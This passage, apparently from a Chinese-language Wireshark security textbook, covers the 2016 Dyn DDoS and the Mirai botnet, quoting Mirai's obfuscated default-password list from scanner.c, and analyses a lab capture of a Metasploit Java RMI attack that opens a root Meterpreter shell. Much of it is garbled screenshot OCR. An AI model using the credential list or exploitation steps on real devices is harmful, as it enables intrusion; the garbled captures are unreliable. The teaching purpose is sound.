11 0.767669 Packet Comment Ctrl+Alt+C MSEARCH * HTTP/1.1 SSDP 12 0.768041 Apply as Filter HSEARCH * HTTP/1.1 SSDP 14 2.053271 Apply as Filter HSEARCH * HTTP/1.1 SSDP 14 2.053271 Apply as Filter HSEARCH * HTTP/1.1 SSDP 15 0.07300 Conversation Filter HSEARCH * HTTP/1.1 SSDP 14 2.053271 Conversation Filter HSEARCH * HTTP/1.1 SSDP 15 Conversation Filter Conversation Streamed filter Streamed filter Streamed filter 11 Colorize Conversation SCTP Follow Ethemet in Color 1 Color 2 12 Color 1 Protocol Preferences Decode As Show Packet in New Window IPv4 Scolor 3 10 01 3f 37 19 40 00 30 66 c 20 95 1a1 3b 5d c0 a8 , 2, 9 D@. E. IDv Color 7 Scolor 6 20 02 f0 00 56 da 10 6b bt c 07 82 f5 de 2 8f 50 18 , M, x/] New Coloring Rule New Coloring Rule 20 02 f6 00 90 00 48 54 55 45 20 f2 31 20 32 M./]	L 10	0.559978	Time Shift	Ctrl+Shif	t+T	80→55824 [ACK]	Seq=280 Ack=191 Win=229 Len=	TCP	
12 0.768041 13 1.057787 14 2.053271 17 2.073400 Frame 6: 333 bytes on wire Ethernet II, Src: Actionte Internet Protocol Version Apply as Filter Frame 6: 333 bytes on wire Ethernet II, Src: Actionte Internet Protocol Version * Bypertext Transfer Protoco JavaScript Object Notation * Copy * Protocol Preferences Decode As Show Packet in New Window * 900 d8 cb 8a 99 33 8b a8 39 44 9f 87 40 08 00 45 00 3.9 D@.E. .?7.@.00;] 900 d8 cb 8a 99 33 8b a8 39 44 9f 87 40 08 00 45 00 3.9 D@.E. .?7.@.00;] 900 d8 cb 8a 99 33 8b a8 39 44 9f 87 40 08 00 45 00 3.9 D@.E. .?7.@.00;] 901 01 3f 37 19 40 00 30 06 c 20 95 1a 1 3b 5d c0 a8 .?7.@.00;] ?7.@.00;] 900 02 ff0 00 50 da 18 bb c1 e0 78 2f 5d c2 8f 50 18 	11	0.767669	Packet Comment.	. Ctrl+Alt+	C	M-SEARCH * HTTP	P/1.1	SSDP	
13 1.057787 14 2.053271 14 2.053271 14 2.053271 14 2.053271 14 2.053271 14 2.053271 15 Prepare a Filter Conversation Filter 5523+32414 Len=21 Prepare a Filter UDP Conversation Filter * Frame 6: 333 bytes on wire Conversation Filter Conversation Filter * Follow * Copy * Protocol Preferences * Decode As Show Packet in New Window Show Packet in New Window * 9 Color 1 PN-IO AR * 8 Color 5 9 Color 6 9 Color 7 9 * 14 10 14 10 15 11 16 10 16 10 17 10 18 10 19 10	12	0.768041	Edit Resolved Nar	ne		M-SEARCH * HTTP	P/1.1	SSDP	-
14 2.053271 Apply as filter 55523-23244 Len-21 UDP Frame 6: 333 bytes on wire Ethernet II, Src: Actione Prepare a filter 55523-23244 Len-21 UDP Internet Protocol Version Transmission Control Protocol SCTP \$100 w ENIP Explicit \$100 s Hypertext Transfer Protocol Golorize Conversation \$CTP \$100 w Ethernet 1 Color 1 Protocol Preferences Decode As Show Packet in New Window Color 4 2 Color 3 \$5523-230 w \$60 color 6 9N-10 AR (with data) F 5 Color 7 \$60 color 6 \$77.6.0, \$7.6.0.0, \$7.6.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.	13	1.057787	1			1061→8082 Len=4	461	UDP	
Prepare a Filter Prepare a Filter Prepare a Filter Conversation Filter Conversation * Frame 6: 333 bytes on wire Ethernet II, Src: Actionte Internet Protocol Version * ENIP 10 Transmission Control Proto SCTP * Follow * Ethernet I Coloriz Avgentext Transfer Protoco Opy * IPv6 I Color 1 Protocol Preferences Decode As Decode As IPv6 I Color 4 Decode As Show Packet in New Window * Ethernet I Color 4 000 d8 cb 8a 99 33 8b a8 39 44 9f 87 40 08 00 45 00 39 D@.E. II Color 7 011 01 3f 37 19 40 00 30 06 c2 09 51 a1 3b 5d c0 a8 .??.@Q.;] II Color 10 020 02 f0 00 50 da 10 bb c1 e0 78 2f 5d c2 28 f 50 18 x/]P.	14	2.053271	Apply as Filter			55523→32414 Ler	n=21	UDP	
Conversation Filter Coloraze Conversation Ethernet II, Src: Actionte Internet Protocol Version Transmission Control Proto SCTP Follow ENIP Explicit Bypentext Transfer Protocol JavaScript Object Notation Color 1 Protocol Preferences Decode As Show Packet in New Window IPv4 Store 6 Color 7 PN-ID AR Color 7 By Color 9 Color 10 Out 01 3f 37 19 40 00 30 06 c2 09 51 a1 3b 5d c0 a8 02 06 08 5a 20 61 70 70 66 62 74 25 46 22 8f 50 18 03 00 26 4f 4b 6d 0a 43 6f 6e 74 65 5e 74 2d 54 09 00 c1 7 (s) a 20 61 7 (s) a 20 for 7 (s) a 20 61 7 (s) a 20 for 7 (s) a 20 61 7 (s) a 20 for 7 (s	11	2 052400	Prepare a Filter		- 1 H	FFF04 . 20440 1	- 21	>	
Prame 0: 333 0ytes on wire Ethernet II, Src: Actionte Internet Protocol Version Transmission Control Protoco JavaScript Object Notation SCTP ENIP Explicit a:99:33:8b) Mypertext Transfer Protoco JavaScript Object Notation Copy IPv4 I Color 1 Protocol Preferences Decode As Show Packet in New Window IPv4 I Color 4 VDP S Color 5 S Color 5 Protocol Preferences Decode As Show Packet in New Window Model At 96 3.9 D@E. VDP S Color 7 S Color 7 PN-IO AR (with data) P Color 7 PN-IO AR (with data) P Color 7 PN-IO AR (with data) P O Color 9 0000 d8 cb 8a 99 33 8b a8 39 44 9f 87 40 08 00 45 00 3.9 D@E.	Enomo	6, 332 hutes on ui	Conversation Filte	r	<u> </u>				
SCTP SCTP FNIP Explicit Internet Protocol Version Hypertext Transfer Protocol Color 1 IPv4 I Color 1 JavaScript Object Notation Protocol Preferences Decode As Score IPv6 I Color 3 Decode As Show Packet in New Window IDv6 I Color 4 IDv6 I Color 4 IPv6 I Color 7 IDv6 I Color 7 IDv6 I Color 7 PN-IO AR With data) I Color 7 IDv6 I Color 7 ID 0 01 3f 37 19 40 00 30 06 c2 09 51 a1 3b 5d 00 88 3. 9 D@.E. ID Color 7 ID 0 00 85 cf 69 00 00 48 54 54 02 f3 12 23 12 03 22 iIHT TP/1.1 2 ID Color 10 ID 0 2f 60 00 90 00 48 54 56 02 f7 33 12 03 13 06 00 00 04 16 36 36 57 37 33 12 05 17 37 35 17 33 12 05 17 33 10 05 11 05 13 05 13 12 03 12 03 13 05 00 06 04 04 03 65 17 37 33 10 05 00 05 11 05 05 05 13 12 03 12 05 12 05 05 13 12 05 13 12 05 13 12 05 12 05 05 10 10 05 10 05 05 05 05 12 05 05 05 12 05 05 13 12 05 12 05 05 10 05 05 05 12 05 05 05 05 12 05 05 05 05 12 05 05 05 05 12 05 05 05 12 05 05 05 12 05 05 05 12 05 05 05 12 05 05 05 12 05 05 05 12 05 05 05 12 05 05 05 05 12 05 05 05 05 12 05 05 05 05 05 05 12 05 05 05 05 05 05 12 05 05 05 05 05 05	Ether	o: 555 Dytes on wi	Colorize Conversa	tion	•	ENIP IO	ka-00-33-8h)		
Anderiter 17 object Notation Follow Ethemet I Color 1 Hypertext Transfer Protoco JavaScript Object Notation Copy I IPV4 I Color 2 JavaScript Object Notation Protocol Preferences Decode As IPV4 I Color 3 Show Packet in New Window PN-COAR I Color 4 IPV6 I Color 4 UDP S Color 5 Color 6 PN-COAR I Color 7 PN-O AR (with data) I Color 1 I Color 7 I Color 7 000 d8 cb 8a 99 33 8b a8 39 44 9f 87 40 08 00 45 00 3.9 D@.E. I Color 7 010 01 3f 37 19 40 00 30 06 c2 09 51 a1 3b 5d c0 a8 .??.@Q.;] I Color 10 020 02 f0 00 50 da 10 bb c1 e0 78 2 f5 d c2 8f 50 18	Inter	et II, SPC. Action	SCTP		•	ENIP Explicit	, , , , , , , , , , , , , , , , , , , ,		
IPv4 IPv4 IPv4 IPv6	Trans	ission Control Pro	Follow		•	Ethernet	1 Color 1		
JavaScript Object Notation Protocol Preferences Decode As Show Packet in New Window IPv6 Golor 3 UDP S Color 4 UDP S Color 5 000 d8 cb 8a 99 33 8b a8 39 44 9f 87 40 08 00 45 00 3.9 D@.E. 010 01 3f 37 19 40 00 30 06 c2 09 51 a1 3b 5d c0 a8 3.9 D@.E. 020 02 f0 00 59 da 10 bb c1 e0 78 2f 5d c2 8f 50 18	Hyner	text Transfer Prote	CODY		,	IPv4	• 2 Color 2		
Protocol Preferences Decode As Decode As Show Packet in New Window PN-CDA Color 4 Decode As Show Packet in New Window PN-CDA Color 4 Decode As Scoor 6 PN-CDA Color 7 PN-CDA Color 7 PN-CDA Color 7 Decode As Scoor 8 Decode As Scoor 9 Decode As Scoor 9 Decode As Scoor 9 Decode As Scoor 9 Decode As PN-CDA	JavaS	rint Object Notati	ion copy			IPv6			
Decode As Show Packet in New Window UDP S Color 4 PN-CBA C Color 6 PN-O AR C Color 7 PN-O AR PN-O AR PN-O AR PN-O A	Jaras	ape object notes.	Protocol Preference	ces	•	TCP			
Show Packet in New Window PN-CBA S Color 5 PN-DO AR (with data) G Color 7 PN-DO AR (with data) B Color 8 PN-O AR (with data) B Color 7 B Color 9 B Color 10 No 8 00 45 00 39 D@.E. No 8 00 45 00			Decode As			UDP	e Color 4		
PN-HO AR PN-HO AR (with data) 6 Color 6 PN-HO AR (with data) 8 Color 7 B Color 9 10 Color 9 10 Color 10 New Coloring Rule 9 Color 10 New Coloring Rule New Coloring Rule New Coloring Rule Color 2 76 60 31 66 23 A20 61 70 70 66 c5 66 74 2d 54 69 66 Color 53 A20 61 70 70 66 c5 66 36 17 46 96 66 ype: app lication New Coloring Rule Color 2 76 68 33 20 63 68 61 72 73 65 74 3d 75 /json; c harset=u Yf 66 2d 38 0d 8a 43 6f 6e 74 26 56 e7 74 2d 4c 55 Color 7 74 66 c2 d3 81 0d 8a 41 63 66 c5 73 73 ngth: 164ccess -control -Allow-0 Color 7 76 66 2d 32 0d 2a 0d 8a 41 66 c6 6f 77 2d 4f -control -Allow-N Color 7 72 66 66 77 2d 41 6c 6c 6f 77 2d 4f -control -Allow-N Color 7 72 66 66 77 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f -control -Allow-N Color 7 72 66 66 77 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f -control -Allow-N Color 7 72 66 66 77 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f -control -Allow-N Color 7 72 66 66 77 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f -control -Allow-			Show Packet in Ne	w Window		PN-CBA	, Color 5		
PN-IO AR (with data) 7 Color 7 B Color 3 Color 9 Color 4 9 Color 5 9 Color 9 Color 9 10 01 3f 37 19 40 00 30 66 c2 09 51 a1 3b 5d c0 a8 77.@.0Q.;] 020 02 f0 00 50 da 10 bb c1 e0 78 2f 5d c2 8f 50 18 7x/]P. 040 30 30 20 4f 4b 0d 08 43 6f 6e 74 65 6e 74 2d 54 09 0KC ontent-T 050 77 76 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e ype: app lication 060 2f 6a 73 26 f6e 3b 20 63 68 61 72 73 65 74 3d 75 /json; c harset-u 070 74 66 2d 38 0d 08 41 63 65 65 73 73 ngth: 16Access 090 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f -Control -Allow-O 020 2f 66 67 77 2d f6 62 2d 24 16 6c 6c 6f 77 72 d4f -Control -Allow-M 020 26 76 69 66 a3 20 2a 0d 08 41 16 35 35 53 73 7 rigin: *Access 021 26 76 66 74 72 6f 6c 2d 41 6c 6c 6f 77 72 d4f -Control -Allow-M 020 26 74 68 3a 20 47 45 54 2c 59 4f 53 54 2c 59 4f 53 54 021 26 76 66 47 73 3a 20 41 6c 6c 6f 77 72 d4f -Control -Allow-M ethods: GET,POST						PN-IO AR	6 Color 6		
10 10 0 At this data 8 Color 8 8 Color 8 9 Color 9 8 Color 8 9 Color 9 10 Color 10 10 Color 10 10 Color 10 10 Color 10 New Coloring Rule New Coloring Rule 20 00 c5 cf 69 00 00 48 54 54 50 cf 31 2e 31 2e 32 20 ciiHT TP/1.12 00 0KC ontent-T ype: app lication 77 66 c3 a2 0 61 70 70 6c 69 63 61 74 69 6f 6e ype: app lication 77 67 66 53 a20 61 72 73 65 74 3d 75 /json; c harset=u 77 46 62 d3 80 d0 a43 6f 6e 74 65 6e 74 2d 4c 65 tf -8Content-L ype: app lication 77 46 68 a3 a13 20 31 36 0d d0 a41 63 63 65 73 73 right: 16 .Access -Control -Allow-0 right: 4 6 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f -Control -Allow-0 right: 4 6 6e 74 72 6f 6c 2d 41 6c 6c 77 72 d4 thods: GET,POST Post 4 68 det 4 6 6m 40 72 3 54 control -Allow-0 right: 4 66 6e 74 72 3a 20 4 16 6c 6e 77 72 d4 thods: GET,POST Access 4 thods: GET,POST						PN-IO AR (with dat	T Color 7		
0000 d8 cb 8a 99 33 8b a8 39 44 9f 87 40 08 00 45 00 39 D@E. 010 01 3f 37 19 40 00 30 06 c2 09 51 a1 3b 5d c0 a8 .77.@.00;] x/]P. 020 02 f0 00 59 da 10 bb c1 e0 78 2f 5d e2 8f 50 18						FIT TO AIR (with due	8 Color 8		
000 d8 cb 8a 99 33 8b a8 39 44 9f 87 40 08 00 45 00 3.9 D@.E. 010 01 3f 37 19 40 00 30 06 c2 09 51 a1 3b 5d c0 a8 7.0.00.;] 020 02 f0 00 50 da 10 bb c1 e0 78 2f 5d e2 8f 50 18 Px/]P. 020 02 f0 00 53 da 20 dk 5d 5d 52 de 2 8f 50 18 Px/]P. 020 02 f0 00 53 da 20 dk 5d 5d 52 de 2 8f 50 18 Px/]P. 020 02 f0 70 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e ype: app lication 050 27 66 23 38 0d 8a 43 6f 6e 74 65 6e 74 2d 46 65 ype: app lication 070 74 66 2d 38 0d 8a 43 6f 6e 74 65 6e 74 2d 44 65 tf-8co ntent-1 080 62 f6 77 2d 4d 16 6c 6c 6f 77 2d 4f -control -Allow-0 080 74 66 2d 38 0d 8a 41 63 63 65 73 73 rigin: *Access 021 24 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f -control -Allow-0 080 72 69 67 69 6e 3a 20 2a 0d 0a 41 63 63 65 73 73 rigin: *Access 021 66 67 77 2d 46 2d 62 6c 6f 77 2d 44 -control -Allow-M 020 65 74 68 6f 64 73 3a 20 47 45 54 2c 50 4f 53 54 yet mode with dome M							9 Color 9		
000 d8 cb 8a 99 33 8b a8 39 44 9f 87 40 08 00 45 00 3.9 D@.E. New Coloring Rule 010 013 f3 71 94 00 00 00 c6 c2 00 51 a1 3b 5d c0 a8 39 D@.E. New Coloring Rule 020 02 f0 00 50 da 10 bb c1 e0 78 2f 5d e2 8f 50 18 iHT TP/1.1 2 00 0KC ontent-T 030 00 e5 ef 69 00 00 48 54 54 50 2f 31 2e 31 20 32 iHT TP/1.1 2 00 0KC ontent-T 050 27 66 0.3 20 61 70 70 6c 50 63 61 74 69 6f 6e ype: app lication /json; c harset=u 7 070 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 tf-8Co ntent-t- ype: app lication 070 74 66 2d 38 0d 0a 413 66 6e 74 65 6e 77 2d 4f -Control -Allow-O 080 24 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f -Control -Allow-O 080 24 68 6f 64 73 3a 20 47 45 54 2c 59 4f 53 54 -Control -Allow-M 080 24 48 6f 6e 47 73 2a 20 47 45 54 2c 59 4f 53 54 ethods: GET,POST							10 Color 10		
010 013 137 19 40 00 30 60 c2 09 51 a1 3b 5d c6 a8 .77.8.0 01 New Coloring Rule 02 02 06 50 a1 3b 5d c6 a8 77.8.0 0.1.1 New Coloring Rule 030 02 64 69 50 a1 3b 5d c6 a8 7.8.0 0.1.1 New Coloring Rule 030 02 04 4b 64 36 56 74 24 54 00 0K content-T 070 76 66 53 20 66 61 77 73 65 74 24 54 97 97 74 66 23 80 61 72 73 65 74 24 75 /json; charset=u 7/json; charset=u <	0000	18 cb 8a 99 33 8b a	8 39 44 9f 87 40 08	00 45 00	.39 D	@E.	New Coloring Pulo		1
02.7 02.7	0010	01 3f 37 19 40 00 3	0 06 c2 09 51 a1 3t	5d c0 a8 .?7	.@.0	.Q.;]	New Coloring Rule		- 1
0 00 00 00 00 00 00 00 00 00 00 00 00 0	0020	12 TO 00 50 da 10 b	0 C1 E0 /8 21 5d E2	21 20 22	Р 4 ит т	x/jP.			- 1
79 70 65 3a 20 61 70 76 65 3a 20 61 70 76 65 3a 20 61 70 76 65 62 61 70 70 65 66 66 66 71 73 65 74 30 75 / json; charsetu 7/ json; charsetu	0030	0 30 20 4f 4h ad a	a 43 6f 6e 74 65 64	74 2d 54 00	OK C O	ntent-T			
2660 27 66 73 67 68 12 73 65 74 30 75 /json; c harset=u 070 74 66 24 38 04 84 36 6e 74 65 6e 74 2d 46 5 tf-8co ntent-1.e ntent-1.	0050	9 70 65 3a 20 61 7	0 70 6c 69 63 61 74	69 6f 6e ype	: app 1	ication			
070 74 66 2d 38 0d 0a 43 6f 6e 77 46 3a 2d 3a 6f 6e 77 74 68 aa 2d 3a 6f 6e 77 74 68 aa 2d 3a 6f 6e 77 74 68 aa 2d af 6e 77 74 68 aa 2d af 6e 77 2d 4f control -Control -Allow-0 rigin: *. Access -Control -Control <td>0060</td> <td>f 6a 73 6f 6e 3b 2</td> <td>0 63 68 61 72 73 65</td> <td>74 3d 75 /js</td> <td>on; c h</td> <td>arset=u</td> <td></td> <td></td> <td>- 1</td>	0060	f 6a 73 6f 6e 3b 2	0 63 68 61 72 73 65	74 3d 75 /js	on; c h	arset=u			- 1
080 6e 67 74 68 3a 20 31 36 04 04 63 65 73 73 ngth: 16 .Access 090 2d 43 6f 6e 74 78 26 6c 67 72 44 -Control -Allow-0 07 72 69 62 20 20 40 8a 16 63 65 73 73 rigin: * .Access 040 72 69 62 20 20 40 8a 16 63 65 73 73 rigin: * .Access 040 24 36 66 74 72 6f 6c 66 77 2d 4d -Control -Allow-O 040 64 64 73 3a 20 47 52 59 45 54 control -Allow-M 040 65 74 88 66 64 73 3a 20 47 55 54 control -All	0070	4 66 2d 38 0d 0a 4	3 6f 6e 74 65 6e 74	2d 4c 65 tf-	8Co n	tent-Le			- 1
0999 20 43 67 69 62 32 20 2a 04 06 41 63 63 65 73 73 rigin: * .Access 026 26 69 67 69 62 32 20 2a 04 06 41 63 63 65 73 73 rigin: * .Access 026 26 65 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 44 -Control -Allow-M 026 65 74 68 6f 64 73 3a 20 47 45 54 2c 59 4f 53 54 -Control -Allow-M 026 05 74 68 6f 64 73 3a 20 47 45 54 2c 59 4f 53 54 ethods: GET,POST	0080	e 67 74 68 3a 20 3	1 36 0d 0a 41 63 63	65 73 73 ngt	h: 16 .	Access			
Value Value <td< td=""><td>0090</td><td>d 43 6f 6e 74 72 6</td><td>of 6c 2d 41 6c 6c 6f</td><td>// 2d 4f -Co</td><td>ntrol -</td><td>Allow-0</td><td></td><td></td><td></td></td<>	0090	d 43 6f 6e 74 72 6	of 6c 2d 41 6c 6c 6f	// 2d 4f -Co	ntrol -	Allow-0			
60 65 74 68 6f 64 73 3a 20 47 45 54 2c 50 4f 53 54 ethods: GET, POST	aaba	2 09 07 09 be 3a 2	10 Za 00 0a 41 63 63	77 2d 4d - Co	in: * .	Access			
	0000	5 74 68 6f 64 73 3	a 20 47 45 54 2c 50	4f 53 54 eth	ods: G	ET.POST			
	0.77			· ··· · · · · · · · · · · · · ·					

圖 4-33: 著色會話



www.gotop.com.tw

此波攻擊佔據了當天大部分時間,調查人員估計此次攻擊的惡意流量來自數千萬個 IP 位址!到了傍晚, Dyn 將這此事件歸結為「非常精緻而複雜的攻擊」。

說個巧合又有點諷刺的八卦,發生攻擊當天我正在撰寫本章有關 DoS 部分,當聽 到這次故障事件,我立刻大聲問道:「該不會是正在進行大規模的 DNS DDoS 攻擊 吧?」相信讀者知道網域名稱系統(DNS)如何將網域名稱解析成可繞送的 IP 位 址,一聽到幾個網站同時遭遇問題時,就很容易懷疑 DNS 有麻煩了,而不是直接攻 擊幾個託管的網站伺服器而已。你瞧,很快就得到證實了。

攻擊背後的程式源碼是 Mirai,一支針對 Linux 設備的惡意軟體,會將受感染的設備 加入一個殭屍網路,這些殭屍會等待、偵聽來自指揮及控制中心(C&C)的命令, 告訴它們要攻擊的對象,例如 DNS 伺服器。架構殭屍網路的軟體有許多破解設備的 方法,而 Mirai 特別利用預設的密碼清單嘗試入侵,雖然清單很短,卻非常有效。 2016 年 10 月 21 日的攻擊主要來自網路攝影機和其他智慧型設備,一堆設備連接到 網際網路而創造了物聯網(IoT),我們學到了「數大便是力量」,不需要一些功能強 大的設備來發動 DoS,只要有無數的小傢伙就行了。

由於程式源碼可從 GitHub 取得,研究 Mirai 總是有好有壞,而它也一再被使(利) 用,圖 5-17 是 Mirai scanner.c 的原始碼,裡頭包含一些密碼,如果使用者肯花些時 間常更換密碼,或者製造商沒有將密碼寫在程式中(hardcode),那麼這份密碼清單 就無用武之地。

123	// Set up passwords		
124	add_auth_entry("\x50\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10);	// root	xc3511
125	add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9);	// root	vizxv
126	add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8);	// root	admin
127	add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7);	// admin	admin
128	add_auth_entry("\x50\x4D\x4D\x56", "\x1A\x1A\x1A\x1A\x1A\x1Ax1A", 6);	// root	888888
129	add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x4F\x4A\x46\x4B\x52\x41", 5);	// root	xmhdipc
130	add_auth_entry("\x50\x4D\x4D\x56", "\x46\x47\x44\x43\x57\x4E\x56", 5);	// root	default
131	add_auth_entry("\x50\x4D\x4D\x56", "\x48\x57\x43\x4C\x56\x47\x41\x4A", 5);	// root	juantech
132	add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17\x14", 5);	// root	123456
133	add_auth_entry("\x50\x4D\x56", "\x17\x16\x11\x10\x13", 5);	// root	54321
134	add_auth_entry("\x51\x57\x52\x52\x4D\x50\x56", "\x51\x57\x52\x52\x4D\x50\x56", 5);	// support	support
135	add_auth_entry("\x50\x4D\x56", "", 4);	// root	(none)
136	add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51\x55\x4D\x50\x46", 4);	// admin	password
137	add_auth_entry("\x50\x4D\x56", "\x50\x4D\x56", 4);	// root	root
138	add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17", 4);	// root	12345
139	add_auth_entry("\x57\x51\x47\x50", "\x57\x51\x47\x50", 3);	// user	user
140	add_auth_entry("\x43\x46\x4F\x4B\x4C", "", 3);	// admin	(none)
141	add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51", 3);	// root	pass
142	add_auth_entry("\x43\x46\x4F\x48\x4C", "\x43\x46\x4F\x48\x4C\x13\x10\x11\x16", 3);	// admin	admin1234

圖 5-17: Mirai 的密碼清單

做為「租用殭屍網路」這個概念的腳註,在這次襲擊發生後不久,一名經營 DDoS 僱傭服務的 19 歲少年承認靠此收取費用。有關此次事件的判決預計在 2016 年 12 月 出爐。年輕人,多行不義必自斃呀! 現在來看能否追踪此 HTTP 流量,因為它使用端口 8080,因此再加入 tcp. port == 8080 的顯示過濾式,應該會呈現想看的封包,再按照上面所提的方式,開啟這類封包的 TCP Stream,如圖 6-13 所示。

Follow TCP Stream	×
Stream Content	_
<pre>GET /A3GyXqDfP25/fewbPDz.jar HTTP/1.1 Host: 192.168.56.106:8080 User-Agent: gnu-classpath/0.95 (libgcj/4.2.4 (Ubuntu 4.2.4-lubuntu3)) Connection: keep-alive Accept-Encoding: chunked;q=1.0, gzip;q=0.9, deflate;q=0.8, identity;q=0.6, *;q=0 HTTP/1.1 200 0K Content-Type: application/java-archive Connection: Keep-Alive Pragma: no-cache Server: Apache Content-Length: 6987</pre>	< III
<pre>PKkE>Imetasploit.dat.H,5 SPKkEkEmetasploit/PKkE \$pReBgWF.B."a.*z6'.CQ#.9.!.j.A.d1;I+;`U (U.KMS.V.&?.Z.V[nm.(3.n.Po.,)[U,%s PReBgWF.B."a.*z82.p.*.d^2.yOM.2.P`peS.H< Jy8c.V@.X.W.R.*.V.MxyX.Z.O.qK.b </pre>	>
Entire conversation (7371 bytes)	2
Find Save As Print O ASCII O EBCDIC O Hex Dump O C Arrays Raw	
Help Filter Out This Stream Close	

圖 6-13: Metasploit 的 HTTP JAR 資料

可以看到 Metasploitable VM (受害者)已經連接到我們的機器並下載 JAR 檔案,再用上面介紹的手法檢查 shell 使用的端口 4444,發現 Metasploit 框 架推送更多 Java 程式碼,如圖 6-14 將 Follow TCP Stream 視窗捲到底部, 並選擇 Hex Dump 查核框,檢視 shell 往來通訊內容,可以看到呼叫 getuid 命令,回傳結果為 root。



[*] Local IP: http://127.0.0.1:8080/HyoL5LuwMTqNTAp
[*] Connected and sending request for
http://192.168.56.106:8080/HyoL5LuwMTqNTAp/xlLv.jar
[*] 192.168.56.103 java_rmi_server - Replied to request for
payload JAR
[*] 192.168.56.103:60233 Request received for /INITJM...
[*] Meterpreter session 3 opened (192.168.56.106:4444 ->
192.168.56.103:60233) at 2014-11-13 20:02:11 -0600
[+] Target 192.168.56.103:1099 may be exploitable...

[*] Server stopped.

meterpreter >

如果追蹤 TCP 串流並搜尋 metasploit,會發現 Wireshark 找不到它(見圖 6-17)。

Follow TCP Stream _ C X
-Stream Content
Stream Content gcteaNB.Ig.[0{Da.W(<8.9.6.7.5.2.3.0.1./
<pre>EQ.w{b.OX.e.w,s.ZQ.Sc.!.E.S{=F.ci.f}]`&s?e".x4 (xVO*fQ.vf0. [.=6]q0.000000F#7X.CLl.0U%.0 .+0.U00UEA10F#7X.CLl.3. {oy100.U0510ULA10UwzcLUyxYQtWcCldBlGVjSQk1#0!.U. PlWBjYBCDUGppDqNNwVBYUU10Ua1q47nww.net?0 *H. vI/ls.dq47nww.net?0 *H. </pre>
Entire conversation (18709 bytes)
Find Save As Print O ASCII O EBCDIC O Hex Dump O C Arrays Image: Raw
Help Filter Out This Stream Close



